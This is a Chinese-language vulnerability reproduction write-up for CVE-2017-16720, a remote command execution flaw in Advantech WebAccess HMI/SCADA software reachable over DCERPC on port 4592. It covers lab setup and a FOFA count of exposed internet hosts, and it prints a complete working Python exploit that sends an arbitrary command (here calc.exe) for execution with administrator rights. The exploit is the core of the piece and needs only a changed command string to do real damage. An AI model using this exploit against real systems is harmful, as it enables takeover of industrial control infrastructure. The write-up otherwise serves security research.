【工控安全】CVE-2017-16720-Advantech WebAccess远程命令执行漏洞复现
2019-11-11 17:32:06 Author: mp.weixin.qq.com(查看原文) 阅读量:141 收藏

CVE-2017-16720

研华WebAccess是全世界第一套全浏览器架构的HMI/SCADA组态软件,可以无缝整合研华工业自动化事业群的产品,主要分为智能基础建设与智能制造两大类,这两类产品也同时组成了研华在智能自动化的物联网架构,而研华WebAccess正是这个物联网架构的核心。

此漏洞允许攻击者使用RPC协议通过TCP端口4592执行远程命令。

通过利用恶意分布式计算环境/远程过程调用(DCERPC),webvrpcs.exe服务将命令行指令传递给主机, webvrpcs.exe服务以管理员访问权限运行。版本小于8.3、8.3.1、8.3.2仍然存在特定的安全漏洞。

在FOFA中搜索app="Advantech-WebAccess"词条,共检索出635条结果(不排除已修复的系统)。

通过官方渠道,下载存在该漏洞的版本程序

http://advcloudfiles.advantech.com/web/Download/webaccess/8.2/AdvantechWebAccessUSANode8.2_20170817.exe

安装环境:Windows Server 2008 R2 x64

安装一律默认NEXT即可,TCP端口也无需自定义,默认程序端口4592。

安装完成后重启计算机,查看本机开放端口情况。

可以看到端口4592已经正常开放。

使用CVE-2017-16720的EXP脚本,对搭载Advantech WebAccess 8.2-2017.08.18程序的服务器进行攻击。

如果漏洞攻击成功,利用EXP脚本发送系统命令执行指令到服务器上,服务器会执行对应指令,弹出计算器。

可以看到服务器弹出了计算器,证明漏洞利用成功!

CVE-2017-16720-EXP.py

#!/usr/bin/python2.7

import sys, struct
from impacket import uuid
from impacket.dcerpc.v5 import transport

def call(dce, opcode, stubdata):
dce.call(opcode, stubdata)
res = -1
try:
res = dce.recv()
except Exception, e:
print "Exception encountered..." + str(e)
sys.exit(1)
return res

if len(sys.argv) != 2:
print "Provide only host arg"
sys.exit(1)

port = 4592
interface = "5d2b62aa-ee0a-4a95-91ae-b064fdb471fc"
version = "1.0"

host = sys.argv[1]

string_binding = "ncacn_ip_tcp:%s" % host
trans = transport.DCERPCTransportFactory(string_binding)
trans.set_dport(port)

dce = trans.get_dce_rpc()
dce.connect()

print "Binding..."
iid = uuid.uuidtup_to_bin((interface, version))
dce.bind(iid)

print "...1"
stubdata = struct.pack("<III", 0x00, 0xc351, 0x04)
call(dce, 2, stubdata)

print "...2"
stubdata = struct.pack("<I", 0x02)
res = call(dce, 4, stubdata)
if res == -1:
print "Something went wrong"
sys.exit(1)
res = struct.unpack("III", res)

if (len(res) < 3):
print "Received unexpected length value"
sys.exit(1)

print "...3"
# ioctl 0x2711
stubdata = struct.pack("<IIII", res[2], 0x2711, 0x204, 0x204)
command = "..\\..\\windows\\system32\\calc.exe"
fmt = "<" + str(0x204) + "s"
stubdata += struct.pack(fmt, command)
call(dce, 1, stubdata)

print "\nDid it work?"

dce.disconnect()


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247484579&amp;idx=1&amp;sn=6ba36822270cdc37cb00ee76731ecab1&amp;chksm=ce5e26c2f929afd4a94e3948b74bb20c46a2dc3fa78af53827af7abda7cb78ff726b9549fb4b#rd
如有侵权请联系:admin#unsafe.sh